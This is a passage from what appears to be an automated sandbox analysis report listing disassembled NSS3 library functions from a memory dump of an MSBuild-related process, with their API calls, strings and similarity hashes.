PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC36C96

Part of subcall function 6CBE1240: TlsGetValue.KERNEL32(00000040,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1267
Part of subcall function 6CBE1240: EnterCriticalSection.KERNEL32(?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE127C
Part of subcall function 6CBE1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1291
Part of subcall function 6CBE1240: PR_Unlock.NSS3(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC36CAA

Strings

dbm, xrefs: 6CC36CA4
extern:, xrefs: 6CC36C7E
sql:, xrefs: 6CC36C52
NSS_DEFAULT_DB_TYPE, xrefs: 6CC36C91
rdb:, xrefs: 6CC36C69
dbm:, xrefs: 6CC36C3A

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 029dbe369f79cf16f00119418e4d40d5af2b6fcdd3cd5ab3237ba3cb5a782bbe
Instruction ID: 9e7ff88f3c6c6fa4c3b6dcb54daf1a44a3a84913130ff751b37f9c783ea5d606
Opcode Fuzzy Hash: 029dbe369f79cf16f00119418e4d40d5af2b6fcdd3cd5ab3237ba3cb5a782bbe
Instruction Fuzzy Hash: 1101DFE1B02B2173F6003B797D5AF26251CABC218DF141431FF0CE2A81FB96E51C41A5

Function 6CC44E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CC078F8), ref: 6CC44E6D

Part of subcall function 6CBE09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CBE06A2,00000000,?), ref: 6CBE09F8
Part of subcall function 6CBE09E0: malloc.MOZGLUE(0000001F), ref: 6CBE0A18
Part of subcall function 6CBE09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBE0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CC078F8), ref: 6CC44ED9

Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703,?,00000000,00000000), ref: 6CC35942
Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703), ref: 6CC35954
Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC3596A
Part of subcall function 6CC35920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC35984
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CC35999
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC359BA
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CC359D3
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC359F5
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CC35A0A
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC35A2E
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CC35A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44EB3

Part of subcall function 6CC44820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4484C
Part of subcall function 6CC44820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4486D
Part of subcall function 6CC44820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CC44EB8,?), ref: 6CC44884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44EC0

Part of subcall function 6CC44470: TlsGetValue.KERNEL32(00000000,?,6CC07296,00000000), ref: 6CC44487
Part of subcall function 6CC44470: EnterCriticalSection.KERNEL32(?,?,?,6CC07296,00000000), ref: 6CC444A0
Part of subcall function 6CC44470: PR_Unlock.NSS3(?,?,?,?,6CC07296,00000000), ref: 6CC444BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F8F
PK11_UpdateSlotAttribute.NSS3(?,6CD1DCB0,00000000), ref: 6CC44FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CC4501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4506B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 8862593bde9c06f10d3cbb7e1ec9f558b58ef227b9a96edf2ddc42f258f9142e
Instruction ID: c733f44677e4183ad98e05a005b5508b890d691b1c38bcd438b144963512b4c9
Opcode Fuzzy Hash: 8862593bde9c06f10d3cbb7e1ec9f558b58ef227b9a96edf2ddc42f258f9142e
Instruction Fuzzy Hash: 255115B5D002059BEB01AF24EC01AAB76B9FF1531DF24C539ED0A86A51FB31D529CBD2

Function 6CBEACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEACE2
malloc.MOZGLUE(00000001), ref: 6CBEACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBEAD02
TlsGetValue.KERNEL32 ref: 6CBEAD3C
calloc.MOZGLUE(00000001,?), ref: 6CBEAD8C
PR_Unlock.NSS3 ref: 6CBEADC0
free.MOZGLUE(00000000), ref: 6CBEAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBEAE58
free.MOZGLUE(00000000), ref: 6CBEAE69
free.MOZGLUE(?), ref: 6CBEAE78
PR_Unlock.NSS3 ref: 6CBEAE8C
free.MOZGLUE(?), ref: 6CBEAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBEAEC7

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 6605a372a7edafaec37737adf099f0c84945cc23fab90dfab507faf9023de06d
Instruction ID: 7a1278f829f4f52fef57effa191959c784de39ac5a9a303d52d288c439142acb
Opcode Fuzzy Hash: 6605a372a7edafaec37737adf099f0c84945cc23fab90dfab507faf9023de06d
Instruction Fuzzy Hash: 5E51D5B1E001658BEF00EF58DC416AE7B7CFB4AB89F548525DA15A3B50D331A909CFE2

Function 6CC22DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CC22DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC22E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC22E33

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC22E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC22E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC22E81

Strings

hSession = 0x%x, xrefs: 6CC22E0E, 6CC22E1E
C_InitPIN, xrefs: 6CC22DF1
(CK_INVALID_HANDLE), xrefs: 6CC22E2C
pPin = 0x%p, xrefs: 6CC22E63
ulPinLen = %d, xrefs: 6CC22E7C

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 6d8295ab8db4b0c83cd6c2d5915ecdf900140f2a81d35f788e782b1f2bd82b59
Instruction ID: fb2c343fa256f50c9a1612b2623efa5a7f764257b125801581751e62878840f8
Opcode Fuzzy Hash: 6d8295ab8db4b0c83cd6c2d5915ecdf900140f2a81d35f788e782b1f2bd82b59
Instruction Fuzzy Hash: B931C671A01154AFEB10DF58EC4CF5B7779EB4636DF444026EA08A7B61EB34980CDAE1

Function 6CBF4880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF48A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CBF48C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CBF48D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CBF48FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CBF4908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBF4947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CBF496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBF4988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18DAC,?), ref: 6CBF49DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF49FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF4ACB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: f7397adcf134876e8d26dc9f12e8a4900ebf0a95d9ea81eae799ca058c8430fc
Instruction ID: fad59117cda388d51624e0fbaa75450a78283da0bfadac9d4cb587a7d7567ab4
Opcode Fuzzy Hash: f7397adcf134876e8d26dc9f12e8a4900ebf0a95d9ea81eae799ca058c8430fc
Instruction Fuzzy Hash: DA51E271A007819FEB108F69DE4179B76E4EF4130CF108129E939AAB91E771D41E8F67

Function 6CCC2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CCC2D9F

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

sqlite3_exec.NSS3(?,?,6CCC2F70,?,?), ref: 6CCC2DF9
sqlite3_free.NSS3(00000000), ref: 6CCC2E2C
sqlite3_free.NSS3(?), ref: 6CCC2E3A
sqlite3_free.NSS3(?), ref: 6CCC2E52
sqlite3_mprintf.NSS3(6CD2AAF9,?), ref: 6CCC2E62
sqlite3_free.NSS3(?), ref: 6CCC2E70
sqlite3_free.NSS3(?), ref: 6CCC2E89
sqlite3_free.NSS3(?), ref: 6CCC2EBB
sqlite3_free.NSS3(?), ref: 6CCC2ECB
sqlite3_free.NSS3(00000000), ref: 6CCC2F3E
sqlite3_free.NSS3(?), ref: 6CCC2F4C

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 6cca46bdb9165ff369d851f1e2c6582b72c3e19b6e1ba1b055dd819dc320ef9b
Instruction ID: fbaa9087890369aaea411d29844296e2757891435706c1c18806e68a7c509b2a
Opcode Fuzzy Hash: 6cca46bdb9165ff369d851f1e2c6582b72c3e19b6e1ba1b055dd819dc320ef9b
Instruction Fuzzy Hash: 74616CB5F012058BEB10CFA8D894B9EB7B1FF58348F145068ED55A7B01E735E849CBA2

Function 6CC12C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC13F23,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C62
EnterCriticalSection.KERNEL32(0000001C,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C76
PL_HashTableLookup.NSS3(00000000,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C93

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23), ref: 6CC12CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?), ref: 6CC12CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?), ref: 6CC12D4D
EnterCriticalSection.KERNEL32(?), ref: 6CC12D61
PL_HashTableLookup.NSS3(?,?), ref: 6CC12D71
PR_Unlock.NSS3(?), ref: 6CC12D7E

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 839cd8d0ab3429102fe3fb354ee3d8d3e551d990624926535f2d5d3413ba89c6
Instruction ID: 5b8700b7d129742ea95ac2dc094b11f9814c411acb63443cab1e6b54ab45fd02
Opcode Fuzzy Hash: 839cd8d0ab3429102fe3fb354ee3d8d3e551d990624926535f2d5d3413ba89c6
Instruction Fuzzy Hash: 75513BB6D00104ABEB00AF25DC449AAB778FF1A35CB048524EE1897B11F731ED58C7E1

Function 6CB74C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D97
PR_Lock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DBA
PR_WaitCondVar.NSS3 ref: 6CB74DD4
PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DEF

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: e71ecbbfd0b3abcf91f9eb2e4d99bbd3ec02bc0594b705e3e91728606602fc79
Instruction ID: 333ca25e6965856774e8ef2c7e657d9bd99918f4e77bf98f5245a4604e1a7e16
Opcode Fuzzy Hash: e71ecbbfd0b3abcf91f9eb2e4d99bbd3ec02bc0594b705e3e91728606602fc79
Instruction Fuzzy Hash: EA41AEB1A04690CFDB10AF78D184159BBB8FF0A319F058669DD989B750EB30D884CFE2

Function 6CC3ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CC3DE64), ref: 6CC3ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3ED22

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

PL_FreeArenaPool.NSS3(?), ref: 6CC3ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CC3ED6B
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC3ED38

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CC3ED52
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC3ED83
PL_FreeArenaPool.NSS3(?), ref: 6CC3ED95
PL_FinishArenaPool.NSS3(?), ref: 6CC3ED9D

Part of subcall function 6CC564F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CC5127C,00000000,00000000,00000000), ref: 6CC5650E

Strings

security, xrefs: 6CC3ED06

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 16a04241566fa087b7ccb7dd9daa81460ef7b9dfdeb16ef9f3057bbfed7f6563
Instruction ID: 22297b65cf7ab84248f40a6a1c9b718f045a6d8ca28d3b7f849204d05f966518
Opcode Fuzzy Hash: 16a04241566fa087b7ccb7dd9daa81460ef7b9dfdeb16ef9f3057bbfed7f6563
Instruction Fuzzy Hash: BC116D759002246BFB119B35BC84BBBB278AF0170DF800568E81862F51F724A93DC7EB

Function 6CC22CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CC22CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC22D07

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC22D22

Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
Part of subcall function 6CD009D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
